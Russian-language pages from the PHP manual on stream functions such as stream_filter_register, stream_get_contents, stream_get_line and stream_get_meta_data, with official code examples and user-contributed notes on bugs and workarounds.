  • Функции для работы с потоками
  • Регистрирует потоковый фильтр, определённый пользователем

stream_filter_register

(PHP 5, PHP 7, PHP 8)

stream_filter_register — Регистрирует потоковый фильтр, определённый пользователем

Описание

stream_filter_register(string $filter_name, string $class): bool

stream_filter_register() позволяет вам реализовать собственный фильтр для любого зарегистрированного потока, используемого со всеми другими функциями файловой системы (такими как fopen(), fread() и т. д.).

Список параметров

filter_name

Название регистрируемого фильтра.

class

Чтобы реализовать фильтр, вам нужно определить класс как расширение php_user_filter c целым рядом функций-членов. При выполнении операций чтения/записи на потоке, к которому прикреплён ваш фильтр, PHP будет передавать данные через ваш фильтр (и через любые другие фильтры, прикреплённые к потоку), так что данные могут быть изменены как требуется. Вам необходимо реализовать методы точно как описано в php_user_filter. Иная реализация приведёт к непредсказуемому поведению.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

stream_filter_register() будет возвращать false, если фильтр с именем filter_name уже определён.

Примеры

Пример #1 Фильтр для перевода букв в верхний регистр в потоке foo-bar.txt

Пример ниже реализует фильтр с названием strtoupper на файловом потоке foo-bar.txt, который будет переводить в заглавные все буквы, которые пишутся/читаются из этого потока.

<?php

/* Определяем наш класс фильтра */
class strtoupper_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) {
$bucket->data = strtoupper($bucket->data);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}

/* Регистрируем наш фильтр в PHP */
stream_filter_register("strtoupper", "strtoupper_filter")
or die("Не удалось зарегистрировать фильтр");

$fp = fopen("foo-bar.txt", "w");

/* Присоединяем зарегистрированный фильтр к только что открытому потоку */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Читаем содержимое снова
*/
readfile("foo-bar.txt");

?>

Результат выполнения данного примера:

LINE1
WORD - 2
EASY AS 123

Пример #2 Регистрация стандартного фильтра, соответствующего множественным именам фильтров.

<?php

/* Определяем наш класс фильтра */
class string_filter extends php_user_filter {
var $mode;

function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) {
if ($this->mode == 1) {
$bucket->data = strtoupper($bucket->data);
} elseif ($this->mode == 0) {
$bucket->data = strtolower($bucket->data);
}

$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}

function onCreate()
{
if ($this->filtername == 'str.toupper') {
$this->mode = 1;
} elseif ($this->filtername == 'str.tolower') {
$this->mode = 0;
} else {
/* Был вызван какой-то другой фильтр str.*,
возвращаем ошибку, чтобы PHP мог продолжить его поиск */
return false;
}

return true;
}
}

/* Регистрируем наш фильтр в PHP */
stream_filter_register("str.*", "string_filter")
or die("Не удалось зарегистрировать фильтр");

$fp = fopen("foo-bar.txt", "w");

/* Присоединяем зарегистрированный фильтр к только что открытому потоку
Мы могли бы использовать здесь str.tolower */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Читаем содержимое снова
*/
readfile("foo-bar.txt");
?>

Результат выполнения данного примера:

LINE1
WORD - 2
EASY AS 123

Смотрите также

  • stream_wrapper_register() - Регистрирует обёртку URL, реализованную в виде PHP-класса
  • stream_filter_append() - Прикрепить фильтр к потоку
  • stream_filter_prepend() - Прикрепляет фильтр к потоку

User Contributed Notes

There are no user contributed notes for this page.


Удалить фильтр из потока

  • « stream_filter_register
  • stream_get_contents »
  • PHP Manual
  • Функции для работы с потоками
  • Удалить фильтр из потока

stream_filter_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_filter_remove — Удалить фильтр из потока

Описание

stream_filter_remove(resource $stream_filter): bool

Удаляет потоковый фильтр, ранее добавленный к потоку при помощи функции stream_filter_prepend() или stream_filter_append(). Любые данные, оставшиеся во внутреннем буфере фильтра, будут отправлены в следующий фильтр до его удаления.

Список параметров

stream_filter

Потоковый фильтр для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Динамическое изменение фильтров потока

<?php
/* Открытие тестового файла для чтения и записи */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

?>

Результат выполнения данного примера:

Guvf vf a test

Смотрите также

  • stream_filter_register() - Регистрирует потоковый фильтр, определённый пользователем
  • stream_filter_append() - Прикрепить фильтр к потоку
  • stream_filter_prepend() - Прикрепляет фильтр к потоку

User Contributed Notes

There are no user contributed notes for this page.


Читает оставшуюся часть потока в строку

  • « stream_filter_remove
  • stream_get_filters »
  • PHP Manual
  • Функции для работы с потоками
  • Читает оставшуюся часть потока в строку

stream_get_contents

(PHP 5, PHP 7, PHP 8)

stream_get_contents — Читает оставшуюся часть потока в строку

Описание

stream_get_contents(resource $stream, ?int $length = null, int $offset = -1): string|false

Похожа на функцию file_get_contents(), за исключением того, что stream_get_contents() работает с уже открытым ресурсом потока и возвращает оставшуюся часть содержимого в строку размером до length байт и начиная с указанного смещения offset.

Список параметров

stream (resource)

Ресурс потока (например, полученный при помощи функции fopen())

length (int)

Максимальное количество байт для чтения. По умолчанию null (прочитать весь оставшийся буфер).

offset (int)

Перейти к указанному смещению перед чтением. Если это число отрицательное, то переход не произойдёт и чтение начнётся с текущей позиции.

Возвращаемые значения

Возвращает строку или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Пример использования stream_get_contents()

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
// вывести всю страницу начиная со смещения 10
echo stream_get_contents($stream, -1, 10);

fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
// вывести первые 5 байт
echo stream_get_contents($stream, 5);

fclose($stream);
}

?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Замечание:

При указании значения параметра length, отличного от null, эта функция немедленно выделит внутренний буфер такого размера, даже если фактическое содержимое будет значительно короче.

Смотрите также

  • fgets() - Читает строку из файла
  • fread() - Бинарно-безопасное чтение файла
  • fpassthru() - Выводит все оставшиеся данные из файлового указателя

User Contributed Notes

fearpro13 at gmail dot com 04-Dec-2023 02:45
It states that $length parameter which value is null is intended to read all remaining contents from $stream
However, example listed under docs uses -1 as $length parameter to achieve such behavior

Recently i had to start few commands from php7.4 and read content from them, proc_open was used to create processes.
Both output[1] and error[2] pipes were set to non-blocking mode. For some unknown reason sometimes process error[2] channel was available, sometimes not(it was empty string).

After some investigation it was found that stream_get_contents works just great with -1 as a $length value instead of null if you are trying to get all remaining buffer.
Mike Shiyan 28-Jul-2016 01:49
stream_get_contents() can be used instead of fread() even with local files.
divinity76+nospam at gmail dot com 27-Dec-2015 11:24
/*
 * problem: stream_get_contents blocks / is very slow.
 * I have tried
 * 1: stream_set_blocking, doesn't make a difference.
 * 2: stream_get_meta_data['unread_bytes'] = ITS BUGGED, ALWAYS SAYS 0.
 * 3: feof(): ALSO EFFING BLOCKING
 * 4: my_stream_get_contents hack... kinda working! :D
 */
function my_stream_get_contents ($handle, $timeout_seconds = 0.5)
{
    $ret = "";
    // feof ALSO BLOCKS:
    // while(!feof($handle)){$ret.=stream_get_contents($handle,1);}
    while (true) {
        $starttime = microtime(true);
        $new = stream_get_contents($handle, 1);
        $endtime = microtime(true);
        if (is_string($new) && strlen($new) >= 1) {
            $ret .= $new;
        }
        $time_used = $endtime - $starttime;
        // var_dump('time_used:',$time_used);
        if (($time_used >= $timeout_seconds) || ! is_string($new) ||
                 (is_string($new) && strlen($new) < 1)) {
            break;
        }
    }
    return $ret;
}
vasiliy at hotger dot com 22-Mar-2012 08:38
It is important to know that stream_get_contents behaves differently with different versions of PHP. Consider the following

<?php

$handle = fopen('file', 'w+'); // truncate + attempt to create
fwrite($handle, '12345'); // file position > 0
rewind($handle); // position = 0
$content = stream_get_contents($handle); // file position = 0 in PHP 5.1.6, file position > 0 in PHP 5.2.17!
fwrite($handle, '6789');
fclose($handle);

/**
 *
 * 'file' content
 *
 * PHP 5.1.6:
 * 67895
 *
 * PHP 5.2.17:
 * 123456789
 *
 */
?>

As a result, stream_get_contents() affects file position in 5.1, and do not affect file position in 5.2 or better.
clarck dot smith at gmail dot com 17-Dec-2011 07:12
In that case when stream_get_contents/fread/fgets or other stream reading functions block indefinitely your script because they don't reached the limit of bytes to read use the socket_get_meta_data function to figure out the number of the bytes to read. It returns an array that contains a key named 'unread_bytes' and then pass that number to your favourite stream reading functions second parameter to read from the stream.

Maybe a good workaround to use the stream_select function, and set the socket to non-blocking mode with the use of stream_set_blocking($stream, 0). In this case the socket reading functions work properly.

Cheers, Ervin
m rahman 20-Jan-2011 01:53
When omitting the parameter $maxlength, any received bytes are stacked up until the underlying stream is not readable anymore, the the function returns that stack in one piece.


Получить список зарегистрированных фильтров

  • « stream_get_contents
  • stream_get_line »
  • PHP Manual
  • Функции для работы с потоками
  • Получить список зарегистрированных фильтров

stream_get_filters

(PHP 5, PHP 7, PHP 8)

stream_get_filters — Получить список зарегистрированных фильтров

Описание

stream_get_filters(): array

Получить список зарегистрированных фильтров на запущенной системе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексированный массив, содержащий названия всех доступных системных фильтров потока.

Примеры

Пример #1 Пример использования функции stream_get_filters()

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

Результатом выполнения данного примера будет что-то подобное:

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

Смотрите также

  • stream_filter_register() - Регистрирует потоковый фильтр, определённый пользователем
  • stream_get_wrappers() - Получить список зарегистрированных потоков

User Contributed Notes

Jasper Bekkers 05-Oct-2005 11:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>


Получает строку из потокового ресурса до указанного разделителя

  • « stream_get_filters
  • stream_get_meta_data »
  • PHP Manual
  • Функции для работы с потоками
  • Получает строку из потокового ресурса до указанного разделителя

stream_get_line

(PHP 5, PHP 7, PHP 8)

stream_get_line — Получает строку из потокового ресурса до указанного разделителя

Описание

stream_get_line(resource $stream, int $length, string $ending = ""): string|false

Получает строку из указанного дескриптора.

Чтение заканчивается, когда прочитано length количество байт и когда найдена непустая строка, указанная в параметре ending (она не включается в возвращаемое значение) или достигнут EOF (смотря что произойдёт раньше).

Функция очень похожа на функцию fgets(), кроме того, что она позволяет использовать разделители строк, отличающиеся от стандартных \n, \r, и \r\n, и не возвращает сам разделитель.

Список параметров

stream

Допустимый дескриптор файла.

length

Максимальное количество байтов для чтения из дескриптора. Отрицательные значения не поддерживаются. Ноль (0) означает размер блока сокета по умолчанию, т.е. 8192 байта.

ending

Необязательный разделитель строки.

Возвращаемые значения

Возвращает строку длиной до length байт, прочитанную из файла указанного параметром stream или false в случае возникновения ошибки.

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fgets() - Читает строку из файла
  • fgetc() - Считывает символ из файла

User Contributed Notes

codertookode at xport dot top 10-Jun-2023 10:23
Simple example I've used with websocket and found it faster than feof

while(($line = stream_get_line($sock, 0, "\r\n"))  !==  false){
    echo $line;
}
kjeld at mail4us dot dk 21-Mar-2013 10:56
I have been struggling with the problem that stream_get_line() sometimes reads too much when the 3rd parameter is used (and the 3rd parameter has a length greater than 1), so $ending is actually contained in the data returned (https://bugs.php.net/bug.php?id=63240).

I don't have the option of upgrading my PHP version but it seems that a workaround can be to insert:

    fseek($fp, ftell($fp));

just before calling stream_get_line().
carltondickson 08-Jan-2013 04:25
If you are specifying the 3rd optional "ending" parameter as a string which is more than one character and actually find that the line returned by the function sometimes contains this "ending" value it may be related to the following bug, https://bugs.php.net/bug.php?id=63240

Our server was running 5.3.18 and when we upgraded to 5.3.20 it worked fine, I believe this was fixed in 5.3.19 though.
Anonymous 08-Jul-2012 03:35
WARNING:
Specifying a length of 0 does NOT give you an infinite length, contrary to what the documentation might suggest. Instead, setting a length of 0 just makes the function default to a length of 8192. To be precise, it gets the value PHP_SOCK_CHUNK_SIZE (8192) in ext/standard/streamsfuncs.c.

So, let's say you're trying to read ALL data until you reach a "\x03" (decimal 3) byte. How do you GUARANTEE that this is the case? Well, there's no way! The only thing you can do stream_get_lin() into a "master" string, then fseek() backwards by 1 character, then fgetc() and verify that it's "\x03". If you don't see a "\x03", it means that stream_get_line() has aborted after 8192 bytes and before hitting "\x03", and you'll have to call it again. Keep appending the return values to a "master" string until you hit a "\x03" or EOF... That's the ONLY way to properly build a string that contains EVERYTHING until the character you're looking for.
pk at ritm dot ru 30-Nov-2009 09:30
fgets is faster but stream_get_line is more useful in a tcp server scripts.

when fgets reads some bytes from socket, where EOF is reached, it returns bool(false) same as stream_get_line

BUT if remote client drops connection, and server script will try to read some data with function fgets, function will return bool(false), and stream_get_line will return string(0) ""

so you can detect remote client disconnection with stream_get_line, and cannot with fgets
amoo_miki at yahoo dot com 19-Aug-2008 10:34
If the "ending" is a string, there are cases where the function doesn't return the correct value for the first time it is called. Don't be shocked if you find it returning a string value of upto "length" that includes the "ending". (See bug #44607)

If the "ending" is just a single character, the function would always work correctly. ("\n" is a single character)

Temporarily, until this is fixed, the below function can be used:

<?php
function istream_get_line(&$fp, $length, $end) {
    $current = ftell($fp);
    $str = fread($fp, $length);
    $i = strpos($str, $end);
    if ($i === FALSE) {
        return $str;
    } else {
        fseek($fp, $current + $i + strlen($end));
        return substr($str, 0, $i);
    }
}
?>
Mat Jaggard at Tickets dot com 20-Dec-2007 08:12
I've spent quite a while trying to get stream_get_line to get a chunk encoded html file and to finish correctly at the end so that I can pipeline requests.

This is the function I have come up with.

<?php
    function getURLContents($url, $ip, $port, $ssl = false, $closeConnection = false)
    {
        if ($ssl)
            $ssl = 'ssl://';
        else
            $ssl = '';
        $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
        if ($fp)
        {
            $out =  'GET '.$url." HTTP/1.1\r\n";
            $out .= 'Host: '.$ip.':'.$port."\r\n";
            if ($closeConnection)
                $out .= "Connection: close\r\n";
            else
                $out .= "Connection: keep-alive\r\n";
            $out .= "\r\n";
            if (!fwrite($fp, $out))
            {
                echo 'Problem writing to socket, opening a new connection.';
                fclose($fp);
                $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
                fwrite($fp, $out);
            }
            $theData = '';
            $notDone = true;
            stream_set_blocking($fp, 0);
            $startTime = time();
            $lastTime = $startTime;
            while (!feof($fp) && !$done && (($startTime + MAX_TIME_FOR_THE_RESPONSE) > time()))
            {
                usleep(100);
                $theNewData = stream_get_line($fp, 1024, "\n");
                $theData .= $theNewData;
                $done = (trim($theNewData) === '0');

            }
        }
        else
        {
            echo 'ERROR CONNECTING TO '.$ip.':'.$port;
            return false;
        }
        if ($closeConnection)
            fclose($fp);
        return $theData;
    }
?>
dante at lorenso dot com 08-Jun-2006 12:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
    $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
    $line = stream_get_line($handle, 1000000, "\n");
}
?>
18-Apr-2006 02:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
      fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.


Извлекает заголовок/метаданные из потоков/файловых указателей

  • « stream_get_line
  • stream_get_transports »
  • PHP Manual
  • Функции для работы с потоками
  • Извлекает заголовок/метаданные из потоков/файловых указателей

stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_get_meta_data — Извлекает заголовок/метаданные из потоков/файловых указателей

Описание

stream_get_meta_data(resource $stream): array

Получает информацию о существующем потоке stream.

Список параметров

stream

Параметр stream может быть любым потоком, созданным при помощи функций fopen(), fsockopen(), pfsockopen() и stream_socket_client().

Возвращаемые значения

Получаемый массив содержит следующие элементы:

  • timed_out (bool) - true, если поток превысил время ожидания данных во время последнего вызова функции fread() или fgets().

  • blocked (bool) - true, если поток находится в режиме блокирующего ввода-вывода. Смотрите функцию stream_set_blocking().

  • eof (bool) - true, если поток достиг конца файла. Заметьте, что для потоков типа socket этот член может быть равен true, даже когда unread_bytes не равно нулю. Для того, чтобы определить есть ли ещё данные для чтения, используйте feof() вместо чтения этого элемента.

  • unread_bytes (int) - количество байт, находящихся сейчас в собственном внутреннем буфере PHP.

    Замечание: Вы не должны использовать это значение в скрипте.

  • stream_type (string) - метка, описывающая внутреннюю реализацию потока.

  • wrapper_type (string) - метка, описывающая реализацию обёртки протокола, наложенного на поток. Смотрите раздел Поддерживаемые протоколы и обёртки для подробной информации об обёртках.

  • wrapper_data (mixed) - специфические для обёртки данные, прикреплённые к этому потоку. Смотрите раздел Поддерживаемые протоколы и обёртки для подробной информации об обёртках и их данных.

  • mode (string) - тип доступа, требуемый для этого потока (смотрите таблицу 1 в описании функции fopen())

  • seekable (bool) - можно ли перемещаться по текущему потоку.

  • uri (string) - URI/имя файла, связанное с этим потоком.

  • crypto (array) - метаданные TLS-соединения потока. Примечание: указывается только в том случае, если поток ресурса использует TLS.

Примеры

Пример #1 Пример использования stream_get_meta_data() с использованием fopen() с http

<?php
$url = 'http://www.example.com/';

if (!$fp = fopen($url, 'r')) {
trigger_error("Невозможно открыть URL ($url)", E_USER_ERROR);
}

$meta = stream_get_meta_data($fp);

var_dump($meta);

fclose($fp);
?>

Результатом выполнения данного примера будет что-то подобное:

array(10) {
  'timed_out' =>
  bool(false)
  'blocked' =>
  bool(true)
  'eof' =>
  bool(false)
  'wrapper_data' =>
  array(13) {
    [0] =>
    string(15) "HTTP/1.1 200 OK"
    [1] =>
    string(11) "Age: 244629"
    [2] =>
    string(29) "Cache-Control: max-age=604800"
    [3] =>
    string(38) "Content-Type: text/html; CHARSET=Windows-1251"
    [4] =>
    string(35) "Date: Sat, 20 Nov 2021 18:17:57 GMT"
    [5] =>
    string(24) "Etag: "3147526947+ident""
    [6] =>
    string(38) "Expires: Sat, 27 Nov 2021 18:17:57 GMT"
    [7] =>
    string(44) "Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT"
    [8] =>
    string(22) "Server: ECS (chb/0286)"
    [9] =>
    string(21) "Vary: Accept-Encoding"
    [10] =>
    string(12) "X-Cache: HIT"
    [11] =>
    string(20) "Content-Length: 1256"
    [12] =>
    string(17) "Connection: close"
  }
  'wrapper_type' =>
  string(4) "http"
  'stream_type' =>
  string(14) "tcp_socket/ssl"
  'mode' =>
  string(1) "r"
  'unread_bytes' =>
  int(1256)
  'seekable' =>
  bool(false)
  'uri' =>
  string(23) "http://www.example.com/"
}

Пример #2 Пример использования stream_get_meta_data() с использованием stream_socket_client() с https

<?php
$streamContext = stream_context_create(
[
'ssl' => [
'capture_peer_cert' => true,
'capture_peer_cert_chain' => true,
'disable_compression' => true,
],
]
);
$client = stream_socket_client(
'ssl://www.example.com:443',
$errorNumber,
$errorDescription,
40,
STREAM_CLIENT_CONNECT,
$streamContext
);
$meta = stream_get_meta_data($client);
var_dump($meta);
?>

Результатом выполнения данного примера будет что-то подобное:

array(8) {
  'crypto' =>
  array(4) {
    'protocol' =>
    string(7) "TLSv1.3"
    'cipher_name' =>
    string(22) "TLS_AES_256_GCM_SHA384"
    'cipher_bits' =>
    int(256)
    'cipher_version' =>
    string(7) "TLSv1.3"
  }
  'timed_out' =>
  bool(false)
  'blocked' =>
  bool(true)
  'eof' =>
  bool(false)
  'stream_type' =>
  string(14) "tcp_socket/ssl"
  'mode' =>
  string(2) "r+"
  'unread_bytes' =>
  int(0)
  'seekable' =>
  bool(false)
}

Примечания

Замечание:

Эта функция НЕ будет работать с сокетами, созданными при помощи модуля Socket.

Смотрите также

  • get_headers() - Возвращает все заголовки из ответа сервера на HTTP-запрос
  • $http_response_header

User Contributed Notes

derkontrollfreak+9hy5l at gmail dot com 24-Aug-2014 09:11
Apparently, custom wrappers are always seekable.
php dot chaska at xoxy dot net 06-Jun-2014 08:42
In PHP 5.4.24 and 5.4.25, this command does not correctly return the stream blocking status.  It always returns ['blocked'] == 1 regardless of the actual blocking mode.  A call to stream_set_blocking($stream, 0) will succeed (return TRUE) and subsequent calls to stream_get_contents($stream) will NOT block, even though a call to stream_get_meta_data($stream) will return 'blocked' == 1.  Hopefully this will save some people a bunch of debugging time.

See bug report #47918 for more information (http://bugs.php.net/bug.php?id=47918).

Proof:
<?php
$d = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('file', 'error.log', 'a')
);

$p = proc_open('php -S localhost:8000', $d, $pipes);

if (!is_resource($p))   die("proc_open() failed\n");

// Set child's stdout pipe to non-blocking.
if (!stream_set_blocking($pipes[1], 0)) {
    die("stream_set_blocking() failed\n");
}
else {
    echo "Non-blocking mode should be set.\n";
}

// View the status of that same pipe.
// Note that 'blocked' is 1!  This appears to be wrong.
print_r(stream_get_meta_data($pipes[1]));

// Try to read something.  This will block if in blocking mode.
// If it does not block, stream_set_blocking() worked but
// stream_get_meta_data() is lying about blocking mode.
$data = stream_get_contents($pipes[1]);

echo "data = '$data'\n";
?>

Output:
Non-blocking mode should be set.
Array
(
    [stream_type] => STDIO
    [mode] => r
    [unread_bytes] => 0
    [seekable] =>
    [timed_out] =>
    [blocked] => 1         // << claims to be in blocking mode
    [eof] =>
)
data = ''                      // this would never appear if we blocked.
niels at nise81 dot com 03-Mar-2008 05:49
here is just an example how to read out all meta data.
how ever I found out that the "seekable"-entry doesn't exist in most of the streaming media files.

      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);

          foreach(array_keys($meta) as $h){
              $v = $meta[$h];
              echo "".$h.": ".$v."<br/>";
              if(is_array($v)){
                  foreach(array_keys($v) as $hh){
                      $vv = $v[$hh];
                      echo "_".$hh.": ".$vv."<br/>";
                  }
              }
          }
      fclose($fp);
ed at readinged dot com 28-Jan-2003 07:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
      echo 'URL is older than an hour.';
   else
      echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);
      for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
      {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
            $modtime = substr($meta['wrapper_data'][$j], 15);
            break;
         }
      }
      fclose($fp);
   }
   else
   {
      $parts = parse_url($url);
      $host  = $parts['host'];
      $path  = $parts['path'];

      if (!($fp = @fsockopen($host, 80)))
         return NULL;

      $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
      fputs($fp, $req);

      while (!feof($fp))
      {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
            $modtime = substr($str, 15);
            break;
         }
      }
      fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}


Получить список зарегистрированных транспортов сокета

  • « stream_get_meta_data
  • stream_get_wrappers »
  • PHP Manual
  • Функции для работы с потоками
  • Получить список зарегистрированных транспортов сокета

stream_get_transports

(PHP 5, PHP 7, PHP 8)

stream_get_transports — Получить список зарегистрированных транспортов сокета

Описание

stream_get_transports(): array

Возвращает индексированный массив, содержащий названия всех транспортов сокета, доступных на запущенной системе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексированный массив названий транспортов сокета.

Примеры

Пример #1 Пример использования stream_get_transports()

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

Результатом выполнения данного примера будет что-то подобное:

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

Смотрите также

  • stream_get_filters() - Получить список зарегистрированных фильтров
  • stream_get_wrappers() - Получить список зарегистрированных потоков

User Contributed Notes

There are no user contributed notes for this page.


Получить список зарегистрированных потоков

  • « stream_get_transports
  • stream_is_local »
  • PHP Manual
  • Функции для работы с потоками
  • Получить список зарегистрированных потоков

stream_get_wrappers

(PHP 5, PHP 7, PHP 8)

stream_get_wrappers — Получить список зарегистрированных потоков

Описание

stream_get_wrappers(): array

Извлекает список зарегистрированных потоков, доступных на запущенной системе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексированный массив, содержащий названия всех обёрток потоков, доступных на запущенной системе.

Примеры

Пример #1 Пример использования stream_get_wrappers()

<?php
print_r(stream_get_wrappers());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

Пример #2 Проверка существования обёртки потока

<?php
// Проверяет существование обёртки потока bzip2
if (in_array('compress.bzip2', stream_get_wrappers())) {
echo 'compress.bzip2:// поддержка включена.';
} else {
echo 'compress.bzip2:// поддержка не включена.';
}
?>

Смотрите также

  • stream_wrapper_register() - Регистрирует обёртку URL, реализованную в виде PHP-класса

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли поток локальным потоком

  • « stream_get_wrappers
  • stream_isatty »
  • PHP Manual
  • Функции для работы с потоками
  • Проверяет, является ли поток локальным потоком

stream_is_local

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

stream_is_local — Проверяет, является ли поток локальным потоком

Описание

stream_is_local(resource|string $stream): bool

Проверяет, является ли поток или URL локальным или нет.

Список параметров

stream

Ресурс (resource) потока или URL для проверки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример выполненияstream_is_local()

Пример простого использования.

<?php
var_dump(stream_is_local("http://example.com"));
var_dump(stream_is_local("/etc"));
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

nryabov 03-Nov-2021 11:23
<?php
$file1 = '/somefile.jpg';
$file2 = 'file://shouldbelocal.jpg';
$file3 = 'http://someotherfile.jpg';
$file4 = 'file:///indeedlocal.jpg'; // Please note '///' instead of '//'

$local = stream_is_local($file1);
$shouldbelocal = stream_is_local($file2);
$remote = stream_is_local($file3);
$indeedlocal = stream_is_local($file4);
var_dump($local, $shouldbelocal, $remote, $indeedlocal);
Gemorroj 17-Feb-2018 09:20
but hhvm for `file://shouldbelocal.jpg` returns true
https://3v4l.org/ULCni
php at kalpaitch dot com 24-May-2017 10:33
It appears to return incorrectly for 'file://' wrapper which I would consider to be local.

CODE:
$file1 = '/somefile.jpg';
$file2 = 'file://shouldbelocal.jpg';
$file3 = 'http://someotherfile.jpg';

$local = stream_is_local($file1);
$shouldbelocal = stream_is_local($file2);
$remote = stream_is_local($file3);
var_dump($local, $shouldbelocal, $remote);

RESULT:
bool(true)
bool(false)
bool(false)
Anonymous 20-Feb-2017 02:30
this is not a bug
mounting a remote filesystem locally "imports" it so it is available to userland programs like a local directory.
sam at NOSPAM dot bogus dot tld 22-Nov-2016 12:56
The function stream_is_local() does not work with remote mounts points, like sshfs mount points (it will return true as if it was local).


Проверяет, является ли поток TTY

  • « stream_is_local
  • stream_notification_callback »
  • PHP Manual
  • Функции для работы с потоками
  • Проверяет, является ли поток TTY

stream_isatty

(PHP 7 >= 7.2.0, PHP 8)

stream_isatty — Проверяет, является ли поток TTY

Описание

stream_isatty(resource $stream): bool

Определяет, относится ли поток stream к действительному устройству терминального типа. Это более переносимая версия posix_isatty(), поскольку она работает и в системах Windows.

Список параметров

stream

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример выполнения stream_isatty()

